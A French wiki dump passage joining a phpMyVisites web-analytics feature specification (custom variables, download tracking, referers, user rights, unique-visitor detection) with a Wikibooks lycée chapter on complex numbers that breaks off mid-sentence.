le webmaster. Elles peuvent d&eacute;signer des nombres (chiffres, prix, id), des cha&icirc;nes (Pr&eacute;nomNom de la personne loggu&eacute;e pour un intranet, nom d'un sous &eacute;tat d'une page...), des &eacute;tats (connect&eacute; &agrave; la section membre), etc.</P> <p>Il est ensuite possible d'isoler les visites en fonctions de ces variables et de leur valeur.</P> <p><B>Exemple : </B> </P> :<p><U>intranet</U><SPAN STYLE="text-decoration: none"> on peut faire des &eacute;tudes en fonction de la valeur du param&egrave;tre d&eacute;signant le Pr&eacute;nomNom des membres</SPAN></P> :<p><SPAN STYLE="font-weight: medium"><SPAN STYLE="font-style: normal"><U>media</U><SPAN STYLE="text-decoration: none"> on peut &eacute;tudier les diff&eacute;rences de comportement en fonction des visiteurs connect&eacute;s (abonn&eacute;s) ou anonymes</SPAN></SPAN></SPAN></P> ::<p><SPAN STYLE="text-decoration: none"><B><I>ATTENTION</I></B><SPAN STYLE="font-style: normal"> : ce qui suit sont des pures sp&eacute;culations, les r&eacute;flexions sur la faisabilit&eacute;, le temps de d&eacute;veloppement et l'int&eacute;gration n'ont pas &eacute;t&eacute; faites !</SPAN></SPAN></P> :::<U>ecommerce</U> on peut imaginer pouvoir faire des stats sur les ventes, CA :::*nb de commandes :::*panier moyen :::*nb d'objets moyen par achat :::*fr&eacute;quence de commandes par visite :::*d&eacute;lai (en temps et pages vues) avant la commande <p> Ces variables sont propres &agrave; chaque site et sont renommables par site, pour am&eacute;liorer l'affichage dans l'interface.</P> <p> <BR><BR> </P> <p> Pour la consultation des donn&eacute;es, le principe suivant peut &ecirc;tre utilis&eacute; : lors du clic sur une page (ou &laquo; action &raquo;) donn&eacute;e, une pop up se lance, et pour chacune des 4 variables (si elles ont &eacute;t&eacute; assign&eacute;es), on afffiche </P> <UL> <LI><p> nom variable et valeur</P> <LI><p> nombre de visites sur cette page (&laquo; action &raquo;) avec cette valeur de variable</P> </UL> <B>Ex : </B> *Magasin :*informatique :*plomberie ::*consultation ::*achat ::*envoie &agrave; un ami :*charcuterie *Contacts Le lien consultation par exemple d&eacute;plie un tableau avec le contenu suivant :</P> <p> <BR><BR> </P> <DL> <DL> <DD> <TABLE WIDTH=429 BORDER=1 BORDERCOLOR="#000000" CELLPADDING=4 CELLSPACING=0> <TR VALIGN=TOP> <TD WIDTH=311> <P CLASS="western" ALIGN=CENTER STYLE="text-decoration: none"><B>Etat visiteur</B></P> </TD> <TH WIDTH=100> <p><B>Visites</B></P> </TH> </TR> <TR VALIGN=TOP> <TD WIDTH=311> <P CLASS="western" ALIGN=LEFT>connect&eacute;</P> </TD> <TD WIDTH=100> <P CLASS="western" ALIGN=LEFT>400 (40%)</P> </TD> </TR> <TR VALIGN=TOP> <TD WIDTH=311> <P CLASS="western" ALIGN=LEFT>anonyme</P> </TD> <TD WIDTH=100> <P CLASS="western" ALIGN=LEFT>600 (60%)</P> </TD> </TR> </TABLE> </DL> </DL> <p> <BR><BR> </P> <p> On visionne pour une page donn&eacute; des sous &eacute;tats, de mani&egrave;re simple et pratique.</P> <p> <BR><BR> </P> <p> On peut imaginer sur un <I>intranet</I> une variable PrenomNom :</P> <DL> <DL> <DD> <TABLE WIDTH=430 BORDER=1 BORDERCOLOR="#000000" CELLPADDING=4 CELLSPACING=0> <TR VALIGN=TOP> <TH WIDTH=311> <p>Nom</P> </TH> <TH WIDTH=101> <p>Visites</P> </TH> </TR> <TR VALIGN=TOP> <TD WIDTH=311> <p>Dupond_Jean-Marie</P> </TD> <TD WIDTH=101> <P CLASS="western" ALIGN=LEFT>3 (n%)</P> </TD> </TR> <TR VALIGN=TOP> <TD WIDTH=311> <p>Ernesto_Philippe</P> </TD> <TD WIDTH=101> <P CLASS="western" ALIGN=LEFT>2 (n%)</P> </TD> </TR> </TABLE> </DL> </DL> <p> On visionne rapidement qui s'est connect&eacute; &agrave; chaque page, combien de fois.<BR><BR><BR> </P> <p> Ces statistiques sont aussi disponibles pour les groupes. Dans ce cas on fait la somme pour chaque page du groupe. Pour le groupe &laquo; plomberie &raquo; on somme le nombre de pages vues avec un &eacute;tat &laquo; connect&eacute; &raquo; ou &laquo; anonyme &raquo;.</P> <p> Avec cette technique de variables libres et renommables, on peut envisager r&eacute;pondre &agrave; tout probl&egrave;me sp&eacute;cifique. </P> <UL> <p></P> </UL> ===Statistiques &agrave; l'ann&eacute;e=== <p>Pour l'instant seules sont dispos les stats au jour, semaines, mois.<BR>Pour les stats &agrave; l'ann&eacute;e, les stats sur les mois sont utilis&eacute;es.</P> ===Bilan multi-sites (facultatif)=== <p>Dans le s&eacute;lecteur de sites est disponibles un &laquo; Bilan global &raquo;, o&ugrave; sont somm&eacute;es et moyenn&eacute;es les valeurs essentielles de chaque site.<BR>Cela implique que les donn&eacute;es de tous les sites soient archiv&eacute;es, cela lance donc &eacute;ventuellement l'archivage de chaque site.<BR><BR>Les donn&eacute;es int&eacute;gr&eacute;es seront (&agrave; compl&eacute;ter) : </P> <UL> <LI><p>toutes les informations relatives aux visites et nombre de pages vues</P> <LI><p>les pays, continents</P> <LI><p>les configurations mat&eacute;rielles</P> <LI><p>les affluents (moyenne des types d'affluents et meilleurs moteurs)</P> </UL> ===Mesure des t&eacute;l&eacute;chargements=== Les téléchargements sont simples à mettre en place : pour comptabiliser dans phpmyvisites une page de type "fichier", et donc pouvoir comptabiliser des fichiers .zip .exe ou autres, il suffit de mettre un lien pour le téléchargement de ce fichier de la forme http://adresse phpmyvisites/phpmyvisites.php?go=URL OU ON REDIRIGE&pagename=FILE:NOM DU FICHIER LISIBLE AVEC EVENTUELLEMENT LES GROUPES&id=ID DU SITE DANS PHPMYVISITES Le script redirige automatiquement vers l'url _GET['go'] La variable pagename dans le cas d'un fichier est de la forme</P> var pagename = &quot;FILE:fichier_a_telecharger.zip&quot;;</P> Ou avec un nom &laquo; parlant &raquo;</P> var pagename = &quot;FILE:Plan_acc&egrave;s_entreprise&quot;;</P> ===Gestion des referers &laquo; partenaires &raquo;=== <p>Il serait int&eacute;ressant que certaines URLS connues soient class&eacute;es dans une section partenaires dans affluents. De m&ecirc;me quand il y a un param&egrave;tre idsite_partner=xx dans l'url du site analys&eacute; pouvoir consid&eacute;rer cet id comme provenant d'un site partenaire.</P> <p>Cette fonctionnalit&eacute; entra&icirc;ne la gestion des sites partenaires dans l'administration :</P> <UL> <LI><p>nom du site partenaire</P> <LI><p>URL du site partenaire</P> <LI><p>id valeur de la variable idsite_partner </P> </UL> ===Gestion des referers &laquo; newsletters &raquo;=== <p>Idem que pour les sites partenaires, g&eacute;rer les visites venant d'une newsletter via la d&eacute;tection d'une variable idnewsletter.<BR><BR><BR> </P> <p>Cette fonctionnalit&eacute; entra&icirc;ne la gestion des newsletters dans l'administration :</P> <UL> <LI><p>nom newsletter</P> </UL> <p>L'id valeur de la variable idnewsletter est alors donn&eacute; par phpmyvisites, et c'est cet id qui doit &ecirc;tre plac&eacute; dans les liens de la newsletter.</P> === Chemins, suivi, tracking... (facultatif)=== On définit des chemins à étudier. Un chemin est un ensemble de pages, de 2 à 6 par exemple. Exemple : accueil > consultation produit > avis clients > consultations produit > achat Informations à donner pour chaque chemin '''''prédéfini''''' de ce type. Attention, la notion de prédéfini esti mportante, car seules les stats sur des chemins pré-demandés par l'utilisateur seront accessibles (impossible de calculer les données pour tous les chemins différents, milliers de possibilités) * à chaque étape ::* nombre de hits ::* arrivés (de quelles parties/pages/referers ?) ::* sorties (vers quelles parties/pages/referers ?) * sur la globalité ::* personne qui ont fait le chemin en ENTIER du début à la fin ::: et oui attention, car même si à la dernière étape on a 500 personnes, ce n'est pas pour ça que les 500 personnes viennent de la premiere étape et ont suivi toutes les étapes dans l'ordre. Il est important d'avoir une vsion globales des hits de chaque étape mais également des hits sur le chemin en entier. avez vous des idées de nouvelles fonctionnalités ou IHM ? ==Fonctionnalit&eacute;s administration== ===Exclusion d'IP et de plages d'IP=== <p>Pour un site donn&eacute;, on peut exclure une ou plusieurs plages d'ip.<BR>De la forme A.B.C.D ou A.B.C.x ou A.B.x ou A.x</P> <p>x pouvant prendre n'importe quelle valeur</P> <p><B>Int&eacute;r&ecirc;t </B>: dans les r&eacute;seau de grandes entreprises, il est impossible d'installer un cookie sur chaque poste (technique disponible actuellement dans phpmyvisites) cette exclusion par plage d'ips est pratique et fiable</P> === Gestion avanc&eacute;e des utilisateurs et des droits === <p>Importante nouveaut&eacute;. Il sera possible de cr&eacute;er des utilisateurs avec diff&eacute;rents droits sur chaque site.</P> <p>Fonctionnalit&eacute;s : </P> <UL> <LI><p><I>ajout</I> nouveau user</P> <LI><p><I>modification</I> caract&eacute;ristiques user</P> <LI><p>(futur : <I>suppression</I> user)</P> </UL> <p>Niveaux de droits pr&eacute;d&eacute;finis (d'autres sont ajoutables mais &ccedil;a ne semble pas naturel)</P> <UL> <LI><p><B>Super admin :</B> tous les droits sur tous les sites sans exception et sans modification possible</P> <LI><p><B>Admin site N :</B> droits de modification, de purge des donn&eacute;es, etc.</P> <LI><p><B>Consultant site N :</B> droit de voir les stats, d'ajouter un cookie pour ne pas &ecirc;tre pris encompte</P> <LI><p><B>Visiteur : </B>droit (ou pas) de consulter les stats</P> </UL> <p>Chaque utilisateur est caract&eacute;ris&eacute; par un alias, un login, un password</P> <p>Sont affich&eacute;s les dates de derni&egrave;re connexion, les ips et hostnames des derni&egrave;res connexions.<BR><BR>A noter l'arriv&eacute;e par d&eacute;faut en mode &laquo; anonymous &raquo; qui concerne tous les visiteurs non loggu&eacute;es. On g&egrave;re les droits de ce anonymous comme on g&egrave;re les droits d'un user enregistr&eacute;. Bien s&ucirc;r il ne faut pas lui donner plus que le droit de visiteur.</P> ===Un site peut avoir plusieurs URLs diff&eacute;rentes=== <p>Ces URLs sont enregistr&eacute;es dans l'admin pour le site consid&eacute;r&eacute;e et les provenances &agrave; partir de ces urls ne sont pas consid&eacute;r&eacute;es dans les &laquo; sites affluents &raquo; mais dans les &laquo; acc&egrave;s directs &raquo;</P> === Syst&egrave;me simple et pratique de sauvegarde restauration de toutes les donn&eacute;es (facultatif) === <p>En un clic une archive est cr&eacute;e sur le serveur dans un r&eacute;pertoire /backup/ en gzipp&eacute;</P> <p>Possibilit&eacute; de restaurer les stats facilement (lecture du gzip et &eacute;criture donn&eacute;es base)</P> ==Fonctionnalit&eacute;s visites== ===Fr&eacute;quences des visites=== <p>Question : comment g&eacute;rer les visiteurs uniques proprement ? <BR>R&eacute;ponse : gestion plus fine des visiteurs et de leur visites. Gestion via des cookies et une autre m&eacute;thode qui consiste &agrave; consid&eacute;rer que la parfaite concordances d'&eacute;l&eacute;ments techniques que sont l'OS, la r&eacute;solution, le navigateur, la profondeur de couleur et l'IP implique qu'une personne est unique (elle a donc une IP fixe et une configuration fixe, souvent le cas, et de plus en plus pour les Ips fixes). On ne peut plus se baser sur la diff&eacute;rence heure locale/heure serveur car les XP SP2 sont mis &agrave; l'heure de MS automatiquement. Cette information n'est plus pertinente. A noter que si une personne change de navigateur il n'y aura aucun moyen de la d&eacute;tecter comme un visiteur unique (son cookie change ET son navigateur change). Ce cas reste tr&egrave;s rare.<BR><BR><BR> </P> <p>Information disponibles :</P> <UL> <LI><p>fr&eacute;quence de visites sur la p&eacute;riode</P> <LI><p>nombre de visiteurs uniques (chiffre exact... contrairement &agrave; actuellement)</P> <LI><p>taux de retour des visiteurs sur la p&eacute;riode (assiduit&eacute;)</P> <LI><p>% de nouveaux visiteurs / % visiteurs connus (graph : soit 2 barres verticales, soit une &agrave; 2 couleurs)</P> <LI><p>pages vues par visite du visiteur fid&egrave;le</P> <LI><p>moyenne des pages vues du visiteur fid&egrave;le</P> <LI><p>nombre de visiteurs par nombre de visites sur la p&eacute;riode</P> </UL> ===Pages vues par visites significatives=== <p>Nombre de pages vues pour les visites de plus d'une page. Plus int&eacute;ressant que la donn&eacute;e &laquo; pages vues par visite &raquo; qui prend en compte les visites &agrave; une page vue.</P> ===Dur&eacute;e de visite par page=== <p>Par page &ecirc;tre capable de donner le temps de visite moyen</P> ===Top des meilleurs configurations=== <p>Top des meilleurs trio OS/navigateur/r&eacute;solution pour montrer les tendances du march&eacute;</P> === Pages des visites &agrave; une page vue (facultatif) === <p>Liste des pages qui ont entra&icirc;n&eacute;es une visite &agrave; une page vue (single access pages) : class&eacute;es par nombre de visites. Cela peut mettre en avant des pages sans contenu ou liens vers d'autres contenus. Des pages &agrave; retravailler (le taux de visites &agrave; une page vue doit &ecirc;tre le plus faible possible).</P> ==Divers (&agrave; pr&eacute;ciser...)== === Export des donn&eacute;es dans diff&eacute;rents formats (facultatif) === <p>Il serait int&eacute;ressant de pouvoir exporter toutes les donn&eacute;es fournies dans l'interface de phpmyvisites dans diff&eacute;rents formats :</P> <UL> <LI><p>CSV</P> <LI><p>XML</P> <LI><p>XHTML Imprimable</P> <LI><p>PDF</P> <LI><p>OpenOffice</P> <LI><p>Envoi de mail automatique (probl&egrave;me de l'archivage qui est n&eacute;cessaire...)</P> </UL> <p>Cette fonctionnalit&eacute; implique un important travail de structuration des donn&eacute;ees, le must &eacute;tant certainement de passer par le XML pour ces exportations. Voir la compatibilit&eacute; de la classe PEAR XML_Serializer avec les h&eacute;bergeurs, car elle serait tr&egrave;s pratique.</P> ===Vision plus globale de l'&eacute;volution &agrave; long terme de l'audience (facultatif)=== <p>Il serait int&eacute;ressant de voir plus facilement l'&eacute;volution de l'audience sur des longues p&eacute;riodes. Solutions ? Graphiques plus &eacute;tal&eacute;s dans le temps, tableaux r&eacute;capitulatifs remontant plus que 7jours/7semaines/7mois.</P> <p>A r&eacute;fl&eacute;chir...</P> ===Conservation urls pr&eacute;cises des moteurs de recherche (facultatif)=== <p>Demande fr&eacute;quente des utilisateurs mais lourdes contraintes techniques : il serait int&eacute;ressant pour eux de conserver les urls pr&eacute;cises des moteur de recherche qui ont permis d'acc&eacute;der au site. Cela permet de voir directement le classement dans le moteur de recherche en un clic.<BR><U>Probl&egrave;mes</U><SPAN STYLE="text-decoration: none"> : quand beaucoup de mots cl&eacute;s diff&eacute;rents, de moteurs diff&eacute;rents, il y a &eacute;norm&eacute;ment d'adresses &agrave; conserver pour un volume de donn&eacute;es tr&egrave;s important. </SPAN> </P> <p>Le must serait de proposer cette fonctionnalit&eacute; en option activable ou pas.<BR>A voir si du temps disponible...</P> === Ne logguer que les requetes sur le site audité (facultatif)=== SI un concurrent met le même marqueur sur les pages de SON site, alors on enregistre ses stats dans notre phpmyvisites. Aucun intérêt pour qq1 de faire si ce n'est de polluer les stats. Il suffirait de tester que l'url est bien une des urls du site enregistré dans site_urls = Divers = == Syntaxe MediaWiki == *[[w:Aide:Syntaxe Wikipédia|Syntaxe Wikipédia]] == Divers liens == * Optimiser php : http://developpeur.journaldunet.com/tutoriel/php/040330-php-nexen-optimiser1.shtml * Bonnes pratiques pour la qualité des services en ligne http://opquast.com/ Il pourrait être très intéressant de respecter le plus de points possibles de ces listes complètes de « bonnes pratiques » : http://opquast.com/bonnes-pratiques/?niveau=3 = Contacts = Matthieu Aubry matthieu at phpmyvisites dot net AL Nombres complexes 4526 25147 2005-11-07T05:00:06Z 82.226.110.1 /* Introduction */ [[Approfondissements de lycée]] ==Introduction== Bien que les nombres réels peuvent, dans un certain sens, représenter toute quantité naturelle concevable, ils sont dans un autre sens "incomplets". Nous pouvons écrire certains types d'équations à coefficients réels que nous désirons résoudre, mais qui n'ont pas de solutions à nombres réels. L'exemple le plus simple de ceci est l'équation : :<math> \begin{matrix} x^2 + 1 &=& 0 \\ x^2 &=& -1 \\ x &=& \sqrt {-1} \end{matrix} </math> Votre professeur de mathématiques a dû vous dire qu'il n'y avait pas de solution "réelle" pour cette équation. Mais nous pouvons, en fait, étendre l'ensemble des nombres pour inclure les nombres ''complexes'' en déclarant que la solution de cette équation existe, et en lui donnant un nom : l'''unité imaginaire'', <math>i\,</math>. ''Imaginons'', pour ce chapitre, que <math>i = \sqrt{-1}\,</math> existe. Donc, <math>x = i\,</math> est une solution à l'équation précédente, et <math>i^2 = -1\,</math>. Une bonne question que l'on pourrait poser est "Pourquoi ?". Pourquoi est-ce important que nous soyons capable de résoudre ces équations quadratique avec cette construction qui semble artificielle ? Il est intéressant de creuser un peu plus sur la raison de l'introduction des nombres "imaginaires" - il est apparu que non seulement cela était valide, mais qu'en plus ils permettaient une résolution plus aisée et plus élégante. Cette construction était très utile, et pouvait être approfondie. La réponse à la question n'est pas liée à la résolution des équations quadratiques, mais plutôt à la résolution de l'intersection d'une équation cubique et d'une droite. Le mathématicien Cardan effectua la résolution des équations cubiques avec une méthode ingénieuse - comme les formules quadratiques, il existe aussi une formule qui nous donne les racines des équations cubiques, bien qu'elles soient de loin plus compliquées. Essentiellement, nous pouvons exprimer la solution d'une équation cubique <math>x^3 = 3px + 2q\,</math> sous la forme <math>x=\sqrt[3]{q + \sqrt{q^2 - p^3}} + \sqrt[3]{q - \sqrt{q^2-p^3}}</math> Une expression plutot barbare ! Vous devriez être capable de voir vous-même que la droite <math>y = 3px + 2q\,</math> doit toujours couper la courbe cubique <math>y=x^3\,</math>. Mais essayez de résoudre l'équation où <math>q^2 < p^3</math>, et vous aurez un problème - c'est à dire que vous serez obligés de traiter avec la racine carrée d'un nombre négatif. Mais, nous savons qu'en fait, il existe une solution pour x ; par exemple, <math>x^3 = 15x + 4\,</math> possède la solution x = 4. Il devint apparent au mathématicien Bombelli qu'il y avait certaines pièces manquantes au puzzle - quelque chose qui exprimait comment cette opération d'extraction de racine carrée de nombre négatif, contraire au bon sens, se simplifiait simplement à une réponse comme 4. Ceci fut en fait la motivation pour considérer les nombre imaginaires, et cela ouvrit un domaine fascinant des mathématiques. Le domaine des '''nombres complexes''' est dominé par ce nombre ''i''. Puisque ce nombre n'existe pas dans le monde réel, et vit seulement dans notre imagination, nous l'appelons l'''unité imaginaire''. (Noter que <math>i\,</math> n'est pas choisi comme nom de variable pour cette raison). ===L'unité imaginaire=== Comme mentionné ci-dessus :<math> \begin{matrix} i^2 & = & -1 \end{matrix} </math>. Calculons quelques puissances de ''i'' : :<math> \begin{matrix} i^1 & = & i \\ i^2 & = & -1 \\ i^3 & = & -i\\ i^4 & = & 1\\ i^5 & = & i\\ i^6 & = & -1\\ &\mbox{...}& \end{matrix} </math> Comme vous pouvez le voir, il existe un motif. ===Exercices=== # calculer <math>i^{25}</math> # Calculer <math>i^{100}</math> # Calculer <math>i^{1000}</math> :[[HSE Complex number solutions|Solutions des exercices]] ===Les nombres complexes comme solutions des équations quadratiques=== Considérons l'équation quadratique : :<math> \begin{matrix} x^2 - 6x + 13 & =& 0 \\ x & = & \frac{6 \pm \sqrt{36 - 4 \times 13}}{2} \\ x & = & \frac{6 \pm \sqrt{-16}}{2} \\ x & = & \frac{6 \pm \sqrt{-1}\sqrt{16}}{2} \\ x & = & \frac{6 \pm 4i}{2} \\ x & = & 3 + 2i \ , \ 3 - 2i\\ \end{matrix} </math> Le ''x'' que nous obtenons comme solution est ce que nous appelons un nombre complexe. (pour être précis, l'ensemble de solution de cette équation possède deux nombres complexes, toutes deux valides pour x.) Elle consiste en ''deux'' parties : une partie ''réelle'' : 3 et une partie ''imaginaire'': <math>\pm 2</math>. Appelons la partie réelle ''a'' et la partie imaginaire ''b''; alors la somme <math>a+bi = 3 \pm 2i\,</math> est un nombre complexe. Noter qu'en définissant simplement la racine carrée de moins un, nous nous sommes déjà donné la capacité d'assigner une valeur à une équation quadratique plus compliquée et que l'on avait prévue insolvable. Il apparaît que 'toute' équation polynômiale de degré <math>n</math> possède exactement <math>n</math> zéros si nous admettons les nombres complexes; ceci est appelé le [[fr:Théorème fondamental de l'algèbre|Théorème fondamental de l'algèbre]]. Nous notons la partie ''réelle'' par ''Re''. C.a.d. : :<math>\mathrm{Re}(x) = 3\,</math> et la partie ''imaginaire'' par ''Im''. C.a.d. : :<math>\mathrm{Im}(x) = \pm 2\,</math> Vérifions pour voir si <math>x = 3 + 2i\,</math> est réellement la solution de l'équation : :<math> \begin{matrix} x & = &3 + 2i &\\ x^2 & = & (3)^2 + 2(3)(2i) + (2i)^2 \\ & = & 5 + 12i\\ x^2 - 6x + 13 &=& 5 + 12i - 6(3+2i) + 13\\ &=& 0\\ \end{matrix} </math> ===Exercices :=== # Vérifiez vous-même que ''x = 3 - 2i'' est aussi une solution de l'équation. # Placez les points A(3, 2) et B(3, -2) sur un plan XY. Tracez un segment entre l'origine et chaque point. # Calculer la longueur de AO (la distance du point A à l'origine) et BO. Notez-les par <math>r_1 \ \mbox{et} \ r_2</math> respectivement. Qu'observez-vous ? # Calculez l'angle entre chaque segment et l'axe x et notez-les par <math>\varphi_1 \ \mbox{et} \ \varphi_2</math>. Qu'observez-vous ? # Considérez les nombres complexes : :<math> \begin{matrix} z & = & r_1 \cdot (\cos{\varphi_1} + i\sin{\varphi_1})\\ w & = & r_2 \cdot (\cos{\varphi_2} + i\sin{\varphi_2})\\ \end{matrix} </math> Substituez ''z'' et ''w'' dans l'équation quadratique ci-dessus en utilisant les valeurs que vous avez calculées dans les exercices 3 et 4. Qu'observez-vous ? Quelle conclusion pouvez-vous en tirer ? ==Arithmétique des nombres complexes== ===Addition et multiplication=== Cela est assez intuitif, illustrons cela avec quelques exemples : :<math> \begin{matrix} x & = & 3 - 2i \\ y & = & 7 + 11i \\ \end{matrix} </math> :<math> \begin{matrix} x + y& = & (3+7) + (-2+11)i \\ & = & 10 + 9i \\ \end{matrix} </math> :<math> \begin{matrix} x \times y &=& (3 - 2i) (7 + 11i) \\ &=& 3\cdot 7 + 3\cdot 11i - 2i\cdot 7 - 2\cdot 11 i^2 &=& 43 + 19i \end{matrix} </math> Résumons les résultats : * Lorsque l'on additionne les nombres complexes, nous additionnons les parties réelles avec les parties réelles, et les parties imaginaires avec les parties imaginaires. * Lorsque l'on multiplie deux nombres complexes ensemble, nous utilisons le développement normal. Si nous voyons <math>i^2\,</math>, nous mettons -1 à sa place, puis nous regroupons les termes de même type. Mais comment calculons-nous : : <math>\frac{3 + 2i} {7 - \sqrt{5}i}</math>. Notez que la racine carré est seulement sur le 5 et non sur le ''i''. ===Exercices :=== :<math> \begin{matrix} x &=& 3 - 2i \\ y &=& 3 + 2i \end{matrix} </math> Calculer : # x + y # x - y # x<sup>2</sup> # y<sup>2</sup> # xy # (x + y)(x - y) ===Division=== Une manière de calculer : :<math> \frac{1}{2\sqrt{3}+\sqrt{2}} </math> est de rendre rationnel le dénominateur : :<math> \frac{1}{2\sqrt{3}+\sqrt{2}}= \frac{2\sqrt{3}-\sqrt{2}}{(2\sqrt{3}+\sqrt{2})(2\sqrt{3}-\sqrt{2})}= \frac{2\sqrt{3}-\sqrt{2}}{10} </math> En utilisant une idée similaire, calculer :<math> \frac{3 + 2i} {7 - \sqrt{5}i} </math> nous rendons réel le dénominateur. :<math> z \ = \ \frac{3 + 2i} {7 - \sqrt{5}i} </math> :<math> z \ = \ \frac{3 + 2i} {7 - \sqrt{5}i} \times \frac{7 + \sqrt{5}i} {7 +\sqrt{5}i} </math> Le dénominateur est la somme de deux carrés. Nous obtenons : :<math> z \ = \ \frac{(3 + 2i) \times (7 + \sqrt{5}i)} {49 + 5} </math> :<math> z \ = \ \frac{21 - 2\sqrt{5}}{54} + \frac {14+3\sqrt{5}} {54}i </math> Si nous pouvons toujours trouver un nombre complexe dont le produit avec le dénominateur est un nombre réel, alors, il est facile d'effectuer les divisions. Si :<math> z \ = \ a + ib </math> et :<math> w \ = \ a - ib </math> Alors ''zw'' est un nombre réel. Cela est vrai pour tout 'a' et 'b' (tant qu'ils sont des nombres réels). ===Exercices=== Vérifiez vous-même que le produit ''zw'' est toujours un nombre réel. ===Conjugué complexe=== Ceci conduit à l'idée de conjugués. Par exemple, le conjugué de ''2 + 3i'' est ''2 - 3i''. Le produit d'un nombre complexe et de son conjugué est toujours un nombre réel. Si ''z'' est un nombre complexe, alors son conjugué est noté <math>\bar{z}</math>. Symboliquement si :z = a + ib alors, :<math>\bar{z} = a - ib</math> Le conjugué de ''3 - 9i'' est ''3 + 9i''. Le conjugué de ''100'' est ''100''. Le conjugué de ''9i - 20'' est ''-20 - 9i''. ====Lois de conjuguaison==== :<math> \begin{matrix} x &=& z& +& w\\ \bar{x} &=& \bar{z}& +& \bar{w} \\ \\ x &=& z& \times& w\\ \bar{x} &=& \bar{z}& \times & \bar{w} \\ \end{matrix} </math> Considérons cet exemple : :<math> \begin{matrix} z &= &3 + 2i\\ w &= &89 - 100i\\ \\ x &=& z + w \\ &=& 92 - 98i \\ \bar{x}&=& 92 + 98i \\ \\ \bar{z} + \bar{w}& =& (3 - 2i) + (89 + 100i)\\ &=& 92 + 98i\\ &=& \bar{x} \end{matrix} </math> Ceci confirme la loi d'addition des conjugués. ===Exercice=== :Vérifiez vous-même que la loi de multiplication est aussi vraie. ==La racine complexe== Maintenant que vous êtes équipé avec toutes les bases des nombres complexes, vous pouvez aborder un chapitre un peu plus difficile, la recherche des racines. Considérons la question : :<math> \begin{matrix} z & = & -3 + 4i \\ w & = & \sqrt{z} \end{matrix} </math> Exprimer ''w'' sous la forme ''a + ib''. Ceci est assez facile. :<math> \begin{matrix} w & = & \sqrt{z}\\ w^2 & = & z\\ w &=& a + ib\\ w^2 &=& a^2 - b^2 + 2abi\\ \\ -3 &=& a^2 - b^2 &\mbox{(1)}&\\ 4 &=& 2ab &\mbox{(2)}&\\ \end{matrix} </math> Résolvez (1) et (2) simultanément pour extraire ''a'' et ''b''. ===info -- Rechercher les racines carrées=== <blockquote style="padding: 1em; border: 2px dotted purple;"> Rechercher la racine d'un nombre réel est un problème très difficile. La plupart des gens ne peuvent pas trouver une estimation de <math>\sqrt{2}\,</math> sans l'aide d'un calculateur. Beaucoup de programmeur après des années de travail avec un ordinateur, n'ont encore aucune idée comment le calculateur le fait. La méthode moderne d'approximation de racines implique la compréhension d'une partie des mathématiques appelée le développement des séries de Taylor. Le chapitre est généralement couvert la première année d'enseignement supérieur car il requiert une compréhension élémentaire d'une branche importante des mathématiques appelée l'analyse. La méthode Newton-Raphson de recherche de racines est aussi utilisée de manière extensive pour cet usage. </blockquote> Maintenant, considérons le problème :<math> \begin{matrix} z &=& -2 + 2i \\ w &=& z^{1/3} \end{matrix} </math> Exprimer ''w'' sous la forme "''a'' + ''ib''". En utilisant la méthode développée ci-dessus, nous effectuons, :<math> \begin{matrix} w &=& z^{1/3} \\ w^3 &=& z \\ \\ w &=& (a + ib)\\ w^3 &=& (a^2 - b^2 + 2abi) \times (a + ib)\\ z &=& (a^3 - 3ab^2) + i(3a^2b - b^3)\\ \\ -2 &=& a^3 - 3ab^2 \qquad (1)\\ 2 &=& 3a^2b - b^3 \qquad (2)\\ \end{matrix} </math> Il apparaît que le système d'équations (1) & (2) est difficile à résoudre. Il existe une manière facile de calculer les racines de nombres complexes appelée le théorème de De Moivre. Avant de le voir, essayez ces exercices. ===Exercices=== # Trouver <math>(3 + 3i)^{\frac{1}{2}}\,</math> # Trouver <math>(1 + 1i)^{\frac{1}{2}}\,</math> # Trouver <math>i^{\frac{1}{3}}\,</math> ==Le plan complexe== ===Les nombres complexes comme paires ordonnées=== On peut noter, à ce niveau, que chaque nombre complexe ''a+bi'', peut être précisé completement avec exactement deux nombres réels : la ''partie réelle'' ''a'', et la ''partie imaginaire'' ''b''. Ceci est vrai pour ''chaque'' nombre complexe ; par exemple, le nombre 5 possède la partie réelle 5 et la partie imaginaire 0, tandis que le nombre 7''i'' possède la partie réelle 0 et la partie imaginaire 7. Nous pouvons nous servir de cet avantage pour adopter un schéma alternatif d'écriture des nombres complexes : nous pouvons les écrire comme des paires ordonnées, sous la forme ''(a, b)'' à la place de ''a+bi''. :<math> \begin{matrix} 5+4i&(5, 4) \\ 3i&(0, 3) \\ \frac{4+5i}{3}&(\frac{4}{3}, \frac{5}{3}) \\ 42&(42, 0) \\ \sqrt{2}+\sqrt{2}i&(\sqrt{2}, \sqrt{2}) \\ \end{matrix} </math> Cela paraît plus familier : elles sont exactement les paires ordonnées que nous utilisons pour représenter les points dans le plan. En fait, nous pouvons les utiliser pour cet usage; le plan qui en résulte est appelé le ''plan complexe''. Nous appelerons l'axe des abscisses l' ''axe réel'', et l'axe des ordonnées l' ''axe imaginaire''. ===Le plan complexe=== Nous pouvons voir à partir de ce qui précède qu'un nombre complexe unique est un point dans le plan complexe. Nous pouvons aussi représenter des ''ensembles'' de nombres complexes; ceux-ci forment des ''régions'' du plan. Par exemple, l'ensemble :<math>\{a+bi | -1 \le a \le 1, -1 \le b \le 1\}</math> est un carré de coté 2 centré sur l'origine (Voir le diagramme suivant). [[Image:Region on complex plane.png|Région sur le plan complexe]] ===Fonctions à valeurs complexes=== De la même manière que nous pouvons utiliser des fonctions qui à partir de valeurs ''réelles'' ont des valeurs ''réelles'', nous pouvons créer des fonctions à partir de nombres complexes vers les nombres réels, ou à partir de nombres complexes vers les nombres complexes. Ces dernières fonctions sont souvent appelées fonctions ''à valeurs complexes'', parce que leur valeur de sortie est un nombre complexe; il est implicite que leur argument est complexe. Puisque les fonctions à valeurs complexes appliquent des nombres complexes vers d'autres nombres complexes, et nous déjà vu que les nombres complexes correspondent aux points du plan complexe, nous pouvons voir que les fonctions à valeurs complexes peuvent convertir des régions du plan complexe en d'autres régions. Un exemple simple : la fonction :<math>f(z) = z + (0+1i)\,</math> prend un point dans le plan complexe et l'augmente de 1. Si nous l'appliquons à l'ensemble de points du carré ci-dessus, elle le déplacera de un verticalement, c'est à dire qu'il "reste" sur l'axe réel. ==Théorème de De Moivre== Si<br> <math>{z = r e^{i\theta} = r(\cos(\theta)+i\sin(\theta))}\,</math><br> alors<br> <math>{z^n = r^n(\cos(n\theta)+i\sin(n\theta))}\,</math> ==Racines complexes de l'unité== Les racines complexes de l'unité de degré n 